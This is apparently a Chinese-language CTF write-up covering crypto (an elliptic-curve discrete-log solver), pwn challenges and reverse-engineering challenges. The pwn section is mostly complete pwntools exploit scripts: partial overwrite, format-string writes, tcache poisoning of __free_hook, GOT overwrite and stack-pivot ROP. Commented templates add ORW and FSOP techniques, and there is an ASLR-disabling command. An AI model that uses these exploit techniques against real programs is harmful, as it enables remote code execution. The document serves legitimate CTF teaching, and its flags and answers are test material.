G[18]= (183177469621731203108295357276519068144,174790398753778700377754157913326320249)
K[18]= (281811476149355115797168257003800120357,196140723300934205507858892318650187823)
p[19]= 247174832772823807405949575706490292327
G[19]= (64821424230471290898676978085116090310,3156062069536117733480587336550941825)
K[19]= (118327561410734879141153677215689051252,58438641897295152172023441551304972234)
p[20]= 251453882640645695257897930622078833633
G[20]= (201004416679119367027246089478611113526,56809048267228720387132490337393278988)
K[20]= (221474725364966109577730697877037372051,238040361297673803601751527978971498001)
p[21]= 295729398122346745434351812366743367791
G[21]= (30670847628294049065202297486692319353,181293109000502577425398870552853491073)
K[21]= (164552013028334988904143325575629290332,275852289436620235004245115287610833876)
p[22]= 320138101049295815361946294538312573827
G[22]= (2224072577861464879055709786123261164,199331958483619531807814660478012858650)
K[22]= (62014229548681313351123770381785319433,172282358204177280238808283042270477765)
p[23]= 194723573017251723084320171515398914359
G[23]= (157521088281411492195711667618986974404,129613999042871412975737368808590379338)
K[23]= (28434377342330410673742072909987161310,69148127210930059413773543611488873009)
p[24]= 190248289046160404439204568647675323239
G[24]= (79534591403621100439688310873734449629,101321784576932492065314012194634900582)
K[24]= (39549202657401376851669027615094155183,131568825594056327285639164764547524328)
p[25]= 228241811895250150647551467046788069561
G[25]= (160453987349069627300391063636284877349,12955865586303480233343051242137207041)
K[25]= (174761857696951247195276132908793407782,35426502724320369539955332754826595800)
p[26]= 264361652730387687965241086453458607119
G[26]= (9652945157503674471097118424081159813,17886669713877327421875005441840525998)
K[26]= (7241083323902581394558027482504435971,16448543547246277790675465115250993550)
p[27]= 206824044199605736960078762499552777113
G[27]= (130046086998108439193625434890164335497,43781713884349248828238086868635836800)
K[27]= (46242002575376652339649689384201709935,152124685215598981008996330571410223793)
p[28]= 178332893959021410524832091316497166249
G[28]= (74311115216816574154671108278059002467,25619426945801859214926846974084534249)
K[28]= (145913870155980017763129602486316070063,171615544160610537539101986076211610566)
p[29]= 267248587428198428648836699506757874819
G[29]= (125507037702721681395132304237802303043,63108341406897511982732952586096782912)
K[29]= (120489778130602177799940409989978248691,177206240638506778862512665956054089141)
p[30]= 256394767764442349920851525174534937933
G[30]= (34642578161846146553429507971748832863,159399364552265446695319554297703967595)
K[30]= (235008409422931959602821900217601726185,18543169397827184657535527553424069529)
p[31]= 292369212002653988728096826751332854349
G[31]= (173057050527351547425617559519162517952,167524548334184996400925286929315973644)
K[31]= (59588212571067680811516329942408310695,140544005528858169669628556337281679860)
p[32]= 234222277324940093390298112349182604443
G[32]= (185398636105544826706665667352630368155,138779420079563541988758992776482337665)
K[32]= (116505547707670217318590765130998362221,132024279417249951844932113651642396393)
p[33]= 220654338172454463262062219625152983479
G[33]= (150301976338157888557443154827710692050,162720627055569072620617266171067546977)
K[33]= (188814051911132599247842509933015944616,160787501879461119628833628440326122136)
p[34]= 179904309858882489950757118819175350103
G[34]= (75763860632109516535577897850373844089,96690238562570106005537847848845863864)
K[34]= (100536002155089218074810001231754691505,13268640042441109430186612606851860827)
p[35]= 214599544671974891003813755277455008943
G[35]= (166425720425721793802504548807565287498,126960303155992945937350732772742575430)
K[35]= (91900210425975353078774144862036741245,134315625975836664981691758115570582530)
p[36]= 255373362714012486599499686316422066341
G[36]= (82708760290601139942717835592384222265,9591795999947433932246300190257300334)
K[36]= (194148999213378655793583321161580944291,254713757158400093150936525156627399969)
p[37]= 279619519572733194053917120586020756817
G[37]= (198688755545552687332798710391845413021,17706191254416526083776512577963263216)
K[37]= (156253887551069158567411031182101298601,173270802357077474831170170431674405125)
p[38]= 274603240123311590710057196872733475001
G[38]= (231725616712305743245884369485178122803,159354043329761008866188859676681117520)
K[38]= (22786288053750795217881956894154265240,105375714616766499317977127894273193078)
p[39]= 280001586469147834211457538984534439963
G[39]= (101481652572608560772019922884878935305,66970687872757521780321254941590677307)
K[39]= (218704400508499115251379128859558668371,199051641829367291335395745185370600198)
p[40]= 323892403614925348716498741638021652311
G[40]= (303834415696142207163347646723172048077,71276398274995757248117240995304476778)
K[40]= (202192318752857292675080579938118081446,126317396827062678026370295405271658559)
p[41]= 304102533466888638278077265285465800667
G[41]= (264175293335929640033245161010273401833,206953198479665541561428179976058543671)
K[41]= (137028261378000687934731222598271251798,61735845292003708243727374948591573252)
p[42]= 272903691036609979475256921762471461069
G[42]= (169517827245091587593900100275833653842,180516585726482026703633926473941975566)
K[42]= (129626981825390361764829681352147032103,142395490930964080176276678752492520095)
p[43]= 195355006864871605231325159185174522361
G[43]= (40448649789204951497736642494856280963,105197609759747711718982928951636188902)
K[43]= (151600846918059839882795153025397045144,2152527270127434465183544795550436847)
p[44]= 211007364120943730632527340557064816213
G[44]= (189621375552464794552296506411976961597,16059513334776735419961241878939133526)
K[44]= (76864498300290954819989413344945957060,79104598723942770143972073869584469187)

F = []
dl = []
for i in range(32):
    E = EllipticCurve(Zmod(p[i]),[0,a,0,b,c])
    K[i] = E(K[i])
    G[i] = E(G[i])
    nowfac = K[i].order()
    factors, exponents = zip(*factor(nowfac))
    prime = [factors[i] ^ exponents[i] for i in range(len(factors))]
    print(prime)
    primes = []
    for j in prime:
        mark = 1
        for k in F:
            if gcd(j,k) != 1:
                mark = 0
                break
        if mark == 1 and j < 12000000:
            primes.append(j)
            continue
    print(primes)
    for fac in primes:
        t = int(nowfac/fac)
        dlog = discrete_log(t*K[i],t*G[i],operation = "+")
        F += [fac]
        dl += [dlog]
print(dl,F)
d = crt(dl,F)
print(d)

Check

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
F = [659, 1069, 3643, 209471, 613507, 5, 2, 812309, 3, 13, 11131, 11, 211789, 1803031, 649063, 7, 19, 167, 211, 2281, 373, 443, 31, 61, 13043, 9134767, 79, 103, 14519, 40427, 1462603, 23, 16619, 127, 7906799, 269, 137, 17, 6823, 1340929, 3299, 3719, 2297849, 109, 2593, 74761, 101, 389, 953]
p = 1477057017770877863035827287796018741381806070053114834268157055189004117123892694339170912504496978717210409141232574333052766498424160745991300789
num = 0
import libnum
while 1:
    p2 = p+ num*prod(F)
    #print(ans-p2)
    k = ''
    while p2 > 0:
        k = hex(p2%23)[2:]+k
        p2 //= 23
    m = libnum.n2s(int((k),16))
    if len(m) == 55:
        print(m)
        break
    num += 1
#注意位数是55位,原因是K=G就有1了
#cbctf{wow_y0u_know_curve_and_/1/1/-l~|~|-|_NOVV!:)}

PWN

ez_aaa

考察partial over_write即部分写

图片

溢出两字节,给了backdoor地址,vuln函数正常返回是main+xxx:

图片

修改这里的地址低2字节,就有16分之一的概率返回到backdoor地址,在调试的时候建议使用如下命令关闭aslr:

1
2
sudo su
echo 0 > /proc/sys/kernel/randomize_va_space

但是发现正常返回backdoor会GOT EOF,最后会卡死在do system的一个对xmmword类型数据的操作。这是因为对xmmword或者ymmword的操作,需要栈对齐即rsp寄存器的值的末尾为0。那么这里就需要多一条或者少一条能影响rsp寄存器的汇编指令。正常情况写ROP的时候,都是用ret的gadget,但是这题开了pie保护而且溢出字节的限制,显然不太能通过多执行一个ret来影响rsp寄存器。那就只能考虑pop,push或者其它东西了。在ida backdoor函数处看查它的汇编源码发现:
图片

那么直接跳到它的下一个指令开始执行,少一个对rsp的操作,就可以实现栈对齐了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# -*- coding: utf-8 -*-
from platform import libc_ver
from pwn import *
from hashlib import sha256
import base64
context.log_level='debug'
#context.arch = 'amd64'
context.arch = 'amd64'
context.os = 'linux'

rol = lambda val, r_bits, max_bits: \
(val << r_bits%max_bits) & (2**max_bits-1) | \
((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))

ror = lambda val, r_bits, max_bits: \
((val & (2**max_bits-1)) >> r_bits%max_bits) | \
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))

io = lambda : r.interactive()
sl = lambda a : r.sendline(a)
sla = lambda a,b : r.sendlineafter(a,b)
se = lambda a : r.send(a)
sa = lambda a,b : r.sendafter(a,b)
lg = lambda name,data : log.success(name + ":" + hex(data))

def proof_of_work(sh):
    sh.recvuntil(" == ")
    cipher = sh.recvline().strip().decode("utf8")
    proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() ==  cipher, string.ascii_letters + string.digits, length=4, method='fixed')
    sh.sendlineafter("input your ????>", proof)
##r=remote("123.57.69.203",7010)0xafa849b09b753ccd
##r=process('./sp1',env={"LD_PRELODA":"./libc-2.27.so"})

##mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];

def z():
    gdb.attach(r)

def exp():
    global r  
    #global libc
    r=process('./ez_aaa')
    z()
    pd = "a"*0x38+"\xcb\x46"
    se(pd)
    r.interactive()
    
if __name__ == '__main__':
while True:
try:
    exp()
except:
continue

(这么写exp其实是为了方便爆破)

ez_fmt

这题考察的对格式化字符串漏洞的利用,主要是%hn写

图片

给了个循环,可以无限次fmt,没开pie存在backdoor,只要覆盖返回地址为backdoor就能getshell。

格式化字符里面能利用来写的主要是%n系列,有%n,%hn,%hhn分别对应写4,2,1字节。%n系列会把%n之前打印的字符字符串长度给写到一个地方,这个地方可能是寄存器指向的位置,可能是栈上的地址指向的位置。注意这里是指向的位置,也就是说如果栈上的P位置,有个地址指针A,那么通过%x$n(这里的x是未知数字,$是重定位符号)定位到栈P上,会给*A写一个值。所以如果想要写返回地址,我们需要栈上有个地方存了rbp+8这个栈地址(返回地址),但一般是没有的。不过栈上不缺栈地址,我们把它改成rbp+8即可如:

图片

同样因为开了ASLR,这题也有16分之一的概率

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# -*- coding: utf-8 -*-
from platform import libc_ver
from pwn import *
from hashlib import sha256
import base64
context.log_level='debug'
#context.arch = 'amd64'
context.arch = 'amd64'
context.os = 'linux'

rol = lambda val, r_bits, max_bits: \
(val << r_bits%max_bits) & (2**max_bits-1) | \
((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))

ror = lambda val, r_bits, max_bits: \
((val & (2**max_bits-1)) >> r_bits%max_bits) | \
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))

io = lambda : r.interactive()
sl = lambda a : r.sendline(a)
sla = lambda a,b : r.sendlineafter(a,b)
se = lambda a : r.send(a)
sa = lambda a,b : r.sendafter(a,b)
lg = lambda name,data : log.success(name + ":" + hex(data))

def proof_of_work(sh):
    sh.recvuntil(" == ")
    cipher = sh.recvline().strip().decode("utf8")
    proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() ==  cipher, string.ascii_letters + string.digits, length=4, method='fixed')
    sh.sendlineafter("input your ????>", proof)
##r=remote("123.57.69.203",7010)0xafa849b09b753ccd
##r=process('./sp1',env={"LD_PRELODA":"./libc-2.27.so"})

##mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];

def z():
    gdb.attach(r)

def exp():
    global r  
    global libc
    r=process('./ez_fmt')
    pd = "%{}c%{}$hhn".format(0x28,0x1f+7)
    sa("try!",pd)
    pd = "%{}c%{}$hn".format(0x84b,0x1f+7+4)
    z()
    sa("try!",pd)
    sa("try!","EOF\x00")
    r.interactive()
   
if __name__ == '__main__':
    exp()

ez_heap

2.27的tcache bin attack,UAF+tcache poison的板子题

学习堆的帖子推荐

南邮的winmt👴:[原创] CTF 中 glibc堆利用 及 IO_FILE 总结-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com

简单介绍一下各种bin

glibc特有的ptmalloc2堆管理器,它的管理核心就是通过各种链表(bins)以及管理链表的区域arena(表头)来维护缓冲区堆的申请和释放。bins中有单向链表fastbin和tcache bin,有双向链表unsorted bin ,small bin和large bin。学习CTF中的glibc堆利用,其实就是学习ptmalloc2对不同大小的size的chunk(堆块)的管理机制,也就是弄懂不同大小的size是怎么从各种bin中取出,又是怎么放入这些bin的,这其中因为链表的插入、删除的不严谨检测,会有什么可利用的漏洞…

题目解决思路

这题堆块上限是0x500,而且增删查改都有,也存在UAF(free过后没有把数组上的堆指针置为NULL),学到后面可以发现,所有的堆题利用,都能在这题打通,所以其实可以作为一个研究ptmalloc2堆的一个模板(甚至研究musl libc也能用),所以贴一下源码,可以当作调试的一个demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#include<stdio.h> 
#include <unistd.h> 
#define MAXIDX 15 
void init()
{
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
}

void menu()
{
puts("1.add");
puts("2.edit");
puts("3.show");
puts("4.delete");
puts("5.exit");
printf("Your choice:");
}

char *list[MAXIDX];
size_t sz[MAXIDX];

int add()
{
int idx,size;
printf("Idx:");
scanf("%d",&idx);
if(idx<0 || idx>=MAXIDX)
exit(1);
printf("Size:");
scanf("%d",&size);
if(size<0||size>0x500)
exit(1);
list[idx] = (char*)malloc(size);
sz[idx] = size;
}

int edit()
{
int idx;
printf("Idx:");
scanf("%d",&idx);
if(idx<0 || idx>=MAXIDX)
exit(1);
puts("context: ");
read(0,list[idx],sz[idx]);
}

int delete()
{
int idx;
printf("Idx:");
scanf("%d",&idx);
if(idx<0 || idx>=MAXIDX)
exit(1);

free(list[idx]);
}

int show()
{
int idx;
printf("Idx:");
scanf("%d",&idx);
if(idx<0 || idx>=MAXIDX)
exit(1);
printf("context: ");
puts(list[idx]);
}



int main()
{
int choice;
init();
while(1){
menu();
scanf("%d",&choice);
if(choice==5){
return;
}
else if(choice==1){
add();
}
else if(choice==2){
show();
}
else if(choice==3){
edit();
}
else if(choice==4){
delete();
}
}
}

delet部分有个UAF,可以申请一个unsorted bin大小的堆块,来泄露libc地址。然后就是一个tcache bin attack,有两种思路,一种是edit修改key实现double free;另一种是edit修改fd实现tcache poison。两种思路都是为了能够申请出free_hook来修改,修改为one_gadget或者system都能getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
# -*- coding: utf-8 -*-
from platform import libc_ver
from pwn import *
from hashlib import sha256
import base64
context.log_level='debug'
#context.arch = 'amd64'
context.arch = 'amd64'
context.os = 'linux'

rol = lambda val, r_bits, max_bits: \
(val << r_bits%max_bits) & (2**max_bits-1) | \
((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))

ror = lambda val, r_bits, max_bits: \
((val & (2**max_bits-1)) >> r_bits%max_bits) | \
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))

io = lambda : r.interactive()
sl = lambda a : r.sendline(a)
sla = lambda a,b : r.sendlineafter(a,b)
se = lambda a : r.send(a)
sa = lambda a,b : r.sendafter(a,b)
lg = lambda name,data : log.success(name + ":" + hex(data))

def proof_of_work(sh):
    sh.recvuntil(" == ")
    cipher = sh.recvline().strip().decode("utf8")
    proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() ==  cipher, string.ascii_letters + string.digits, length=4, method='fixed')
    sh.sendlineafter("input your ????>", proof)
##r=remote("123.57.69.203",7010)0xafa849b09b753ccd
##r=process('./sp1',env={"LD_PRELODA":"./libc-2.27.so"})

##mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];

def z():
    gdb.attach(r)

def cho(num):
    sla("Your choice:",str(num))

def add(sz,idx):
    cho(1)
    sla("Idx:",str(idx))
    sla("Size:",str(sz))

def show(idx):
    cho(2)    
    sla("Idx:",str(idx))

def edit(idx,con):
    cho(3)    
    sla("Idx:",str(idx))
    sa("context: ",con)

def delet(idx):
    cho(4)    
    sla("Idx:",str(idx))

def exp():
    global r  
    global libc
    r=process('./ez_heap')
    libc = ELF("./libc-2.27.so")

    ## leak libc
    add(0x450,0)
    add(0x450,1)
    delet(0)
    #z()
    show(0)
    r.recvuntil("context: ")
    libcbase = u64(r.recv(6).ljust(8,"\x00")) - 0x3ebca0

    lg("libcbase",libcbase)    

    ## set libc func
    one = [0x4f2a5,0x4f302,0x10a2fc]
    ogg = one[1] + libcbase
    free_hook = libcbase + libc.sym["__free_hook"]

    ## tcache poison
    add(0x80,2)
    delet(2)
    edit(2,p64(0)*2)
    delet(2)
    #z()
    edit(2,p64(free_hook-8))
    #z()
    #show(2)
    add(0x80,2)
    add(0x80,2)
    edit(2,p64(0)+p64(ogg))
    delet(1)
    #z()
    #show(2)
    r.interactive()
   
if __name__ == '__main__':
    exp()

    ##setcontext and orw
    ''''
    orw=p64(r4)+p64(2)+p64(r1)+p64(free_hook+0x28)+p64(syscall)
    orw+=p64(r4)+p64(0)+p64(r1)+p64(3)+p64(r2)+p64(mem)+p64(r3)+p64(0x20)+p64(0)+p64(syscall)
    orw+=p64(r4)+p64(1)+p64(r1)+p64(1)+p64(r2)+p64(mem)+p64(r3)+p64(0x20)+p64(0)+p64(syscall)
    orw+=p64(0xdeadbeef)
    pd=p64(gold_key)+p64(free_hook)
    pd=pd.ljust(0x20,'\x00')+p64(setcontext+61)+'./flag\x00'
    pd=pd.ljust(0xa0,'\x00')+p64(free_hook+0xb0)+orw0xafa849b09b753ccd
    r.sendafter(">>",pd)
    flag=r.recvline()
    '''

    ##orw
    '''
    ##[+]: set libc func
    IO_file_jumps=0x1e54c0+libcbase
    IO_helper_jumps=0x1e4980+libcbase
    setcontext=libcbase+libc.sym['setcontext']
    open_addr=libcbase+libc.sym['open']
    read_addr=libcbase+libc.sym['read']
    puts_addr=libcbase+libc.sym['puts']
    pop_rdi_ret=libcbase+0x2858f
    pop_rsi_ret=libcbase+0x2ac3f
    pop_rdx_pop_rbx_ret=libcbase+0x1597d6
    ret=libcbase+0x26699
    ##[+]: large bin attack to reset TLS
    ##z()
    ##edit(4,p64(libcbase+0x1e4230)+)
   
    ##[+]: orw
    flag_addr = heap_base + 0x4770 + 0x100
    chain = flat(
    pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_addr,
    pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_addr,
    pop_rdi_ret , flag_addr , puts_addr
    ).ljust(0x100,'\x00') + 'flag\x00'
    '''
   
    ##banana
       ## b _dl_fini
       ## pwndbg> distance &_rtld_global &(_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next)
    '''''
    rop_chain = flat(pop_rdi_ret,bin_sh,ret,system_addr)
    link_4_addr = heap_base + 0xcd0
    fake_link_map = p64(0) + p64(0) + p64(0) + p64(link_4_addr)
    fake_link_map += p64(magic) + p64(ret)
    fake_link_map += p64(0)
    fake_link_map += rop_chain
    fake_link_map = fake_link_map.ljust(0xc8,'\0')
    fake_link_map += p64(link_4_addr + 0x28 + 0x18) # RSP
    fake_link_map += p64(pop_rdi_ret)   # RCX RIP
    fake_link_map = fake_link_map.ljust(0x100,'\x00')
    fake_link_map += p64(link_4_addr + 0x10 + 0x110)*0x3
    fake_link_map += p64(0x10)  
    fake_link_map = fake_link_map.ljust(0x31C - 0x10,'\x00')
    fake_link_map += p8(0x8)
    edit(1,'\0'*0x520+p64(link_4_addr + 0x20)) ##控prev_data
    edit(2,fake_link_map)
    '''

    ##fake io :glibc 2.35
    ## p _IO_flush_all_lockp
       ## _IO_str_jumps :malloc memcpy free
           ## rdi : fake_io
           ## rsi : 0xffffffff
           ## rdx : (fake_io + 0x20) ## ps: need +0x20 >  +0x18
           ## malloc(size) : size = [fake_io+0x40] * 2  + 0x64
    '''''
    ##size is 0xf8
    heap=heapbase+0x8d0 ##where is "nameless"
    pd='\x00'*0x18+p64(0)+p64(1)
    pd=pd.ljust(0x38,'\x00')+p64(heap)+p64(heap+0x4a)
    pd=pd.ljust(0xa0,'\x00')+p64(fake_io)
    pd=pd.ljust(0xd8,'a')+p64(IO_str_jumps)
    write(p64(fake_io),0xe0,pd)
    '''
       ## _IO_cookie_jumps :kiwi to emma

    ##fsop gadget
   
       ## to connect to setcontext
    #1
    '''
    pwndbg> x/20i svcudp_reply+26
    0x7f5cdf09931a <svcudp_reply+26>:    mov    rbp,QWORD PTR [rdi+0x48]
    0x7f5cdf09931e <svcudp_reply+30>:    mov    rax,QWORD PTR [rbp+0x18]
    0x7f5cdf099322 <svcudp_reply+34>:    lea    r13,[rbp+0x10]
    0x7f5cdf099326 <svcudp_reply+38>:    mov    DWORD PTR [rbp+0x10],0x0
    0x7f5cdf09932d <svcudp_reply+45>:    mov    rdi,r13
    0x7f5cdf099330 <svcudp_reply+48>:    call   QWORD PTR [rax+0x28]
    '''

    #2
    ##mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];

    ###shell_code and gadget 2 ORW
    '''
    ## gadgets
    pop_rdi_ret = 0x4008f6
    pop_rsi_ret = 0x40416f
    pop_rdx_ret = 0x51d4b6
    pop_rax_ret = 0x400a4f
    syscall = 0x4025ab
    leave_ret = 0x4015cb
   
    bss = 0xAD1600+0x500
   
    pd1 = flat(
    pop_rax_ret , 0 , pop_rdi_ret , 0 , pop_rsi_ret , bss , pop_rdx_ret , 0x210 ,
    syscall , leave_ret
    )
     
    ##z()
    r.sendlineafter("flag\x00",0x178*"a" + p64(bss) +  pd1)
    flag_addr = bss + 0x200
    pd=flat( 0 , pop_rax_ret , 2 , pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , pop_rdx_ret , 0 ,
    syscall , pop_rax_ret , 0 , pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_ret , 0x210 ,
    syscall ,pop_rax_ret , 1 , pop_rdi_ret , 1 , pop_rsi_ret , flag_addr , pop_rdx_ret , 0x210 ,
    syscall , 0xdeadbeef
    ).ljust(0x200,"a")+"./flag\x00"
    '''



got

本题我给了一个任意地址写

图片

然后又下面给了个puts函数,所以直接将puts函数的got表改为system地址就成

图片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context.log_level = 'debug'
#io=remote('124.222.96.143',10062)
#io = process('./got')
elf = ELF('./got')
puts_got=elf.got['puts']
io.recvuntil('system:')
sys=io.recv(14)
sys=int(sys,16)
log.success(hex(sys))
io.recvuntil('addr:')
io.sendline(str(puts_got))
io.recvuntil('val:')
io.sendline(str(sys))
io.interactive()

stackmove

本题的话就是因为溢出不够,所以将栈迁移到给的global_buf中然后构造栈就ok了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
from LibcSearcher import *
io=remote('124.222.96.143',10000)
elf=ELF('./stackmove')
#io=process('./b')
pop_rsi_r15_ret=0x400851
pop_rdi_ret=0x400853
lea_ret=0x400708
stack_addr=0x600ca0
#io.recvuntil('global_buf:')
#stack_addr=int(io.recv(8),16)
io.recvuntil('execv:')
execv_addr=int(io.recv(14),16)
payload1=p64(pop_rdi_ret)+p64(stack_addr)+p64(pop_rsi_r15_ret)+p64(0)*2+p64(execv_addr)
io.recvuntil('global:')
io.send(b'/bin/sh\x00'+payload1)
io.recvuntil('input:')
payload2=b'A'*80+p64(stack_addr)+p64(lea_ret)
io.send(payload2)
io.interactive( )

Reverse

ezmaze

这是一道迷宫题

主要逻辑如下,能输入的字符只有w,a,s,d

图片

做迷宫题找到迷宫的地图就一目了然了

双击byte_402174后可以直接看到迷宫的样子

图片

这里要注意将23h变成字符#移到下一行,即第一行前面加上两个#,第二行前面加上一个#,因为这些字符都是属于同一个数组的,只是ida识别的时候将其拆成了两行显示.

于是就有了如下迷宫

图片

通过对主函数的分析,v3表示迷宫的行,v5表示迷宫的列(下标都从0开始),而v4表示我们走迷宫所用的步数

图片
终点为(5,10)

图片

起点为(1,1)

进行如下移动可以走出迷宫

图片

图片

得到flag cbctf{ssssddddddwwaawwddddssssd}

little_re

64位ida打开

图片

最简单常见的花指令花指令,将E8patch成90即可反编译为伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int __cdecl main(int argc, const char **argv, const char **envp)
{
  std::ostream *v3; // rax
  size_t v4; // rax
  std::ostream *v5; // rax
  std::ostream *v7; // rax
  char Str[48]; // [rsp+20h] [rbp-60h] BYREF
  __int64 Str2[4]; // [rsp+50h] [rbp-30h] BYREF
  char v10; // [rsp+70h] [rbp-10h]

  _main();
  Str2[0] = 0x1212141628211F2Ci64;
  Str2[1] = 0x191B133812121212i64;
  Str2[2] = 0x27221D1D422A3818i64;
  Str2[3] = 0x246A2F1E19172F31i64;
  v10 = 0;
  v3 = (std::ostream *)std::operator<<<std::char_traits<char>>(refptr__ZSt4cout, "input something:");
  refptr__ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_(v3);
  std::operator>><char,std::char_traits<char>>(refptr__ZSt3cin, Str);
  if ( strlen(Str) == 32 )
  {
    crypppppto(Str);
    v4 = strlen((const char *)Str2);
    if ( !strncmp(Str, (const char *)Str2, v4) )
      v5 = (std::ostream *)std::operator<<<std::char_traits<char>>(refptr__ZSt4cout, "Goodgood!");
    else
      v5 = (std::ostream *)std::operator<<<std::char_traits<char>>(refptr__ZSt4cout, "nono");
    refptr__ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_(v5);
    return 1;
  }
  else
  {
    v7 = (std::ostream *)std::operator<<<std::char_traits<char>>(refptr__ZSt4cout, "nono");
    refptr__ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_(v7);
    return 1;
  }
}

简单的输入后进入cryppppto函数加密,同理去花可得到加密函数

1
2
3
4
5
6
7
8
9
10
11
12
void __fastcall crypppppto(char *a1)
{
  char v1[12]; // [rsp+0h] [rbp-10h] BYREF
  int i; // [rsp+Ch] [rbp-4h]

  strcpy(v1, "yolbby");
  for ( i = 0; i <= 31; ++i )
  {
    a1[i] ^= v1[i % 6];
    a1[i] += 18;
  }
}

非常简单的循环异或
写脚本得出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <iostream> 
#include <exception> 
#include <string.h>
using namespace std; 



int decry(char* enflag){
int i;
char key[7]="yolbby";
for (i = 0;i<32;i++){
enflag[i]-=0x12;
enflag[i]^=key[i%6];

}

}

int main(){

char enflag[33]={0x2c,0x1f,0x21,0x28,0x16,0x14,0x12,0x12,0x12,0x12,0x12,0x12,0x38,0x13,0x1b,0x19,0x18,0x38,0x2a,0x42,0x1d,0x1d,0x22,0x27,0x31,0x2f,0x17,0x19,0x1e,0x2f,0x6a,0x24};
decry(enflag);
cout<<enflag<<endl;
return 0;
}
#cbctf{yolbby_need_a_girlfriend!}

没反调试,直接调也行。

crackme

main函数伪代码如图所示

图片

进入sub_911090,并对函数传入的参数按下x查看交叉引用

图片

Line38处的交叉引用表明我们输入的flag的长度需要满足36位

最后一个交叉引用将我们输入的字符串进行异或处理后传给byte_914440

而byte_914440的值将会与已知的数组dword_913138进行比较,如果不相同则输出wrong

图片

图片

现在我们唯一不知道的就是上面异或操作中的xmmword_914378数组

所以我们可以在此处打个断点,进行动态调试,并输入36个字符串(因为如果输入的字符串不满足36位程序将会退出,就可以得到xmmword_234378的值

图片

写个脚本跑一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
xmmword_234378=[0x00000009, 0x000000FD, 0x00000059, 0x0000004B, 
0x00000097, 0x00000063, 0x000000EE, 0x00000060, 0x000000A6,
0x0000008B, 0x0000002C, 0x000000EE, 0x00000041, 0x000000BD,
0x000000C1, 0x000000EB, 0x000000A3, 0x00000090, 0x00000026,
0x00000016, 0x000000BB, 0x0000009C, 0x0000005C, 0x00000022,
0x00000040, 0x000000BB, 0x00000040, 0x000000B4, 0x0000005C,
0x0000002B, 0x00000085, 0x00000036, 0x00000021, 0x00000093,
0x00000073, 0x000000B1]
dword_233138=[0x0000006A, 0x0000009F, 0x0000003A, 0x0000003F,
0x000000F1, 0x00000018, 0x000000B7, 0x0000000F, 0x000000D3,
0x000000D4, 0x0000004D, 0x0000009C, 0x00000024, 0x000000E2,
0x000000B2, 0x00000084, 0x000000FC, 0x000000F7, 0x00000016,
0x00000079, 0x0000008B, 0x000000F8, 0x00000003, 0x00000056,
0x0000002F, 0x000000E4, 0x00000023, 0x000000C6, 0x0000003D,
0x00000048, 0x000000EE, 0x00000069, 0x0000004C, 0x000000F6,
0x00000052, 0x000000CC]
for i in range(36):
print(chr(xmmword_234378[i]^dword_233138[i]),end='')
# cbctf{You_are_so_g0o0d_to_crack_me!}

catchit

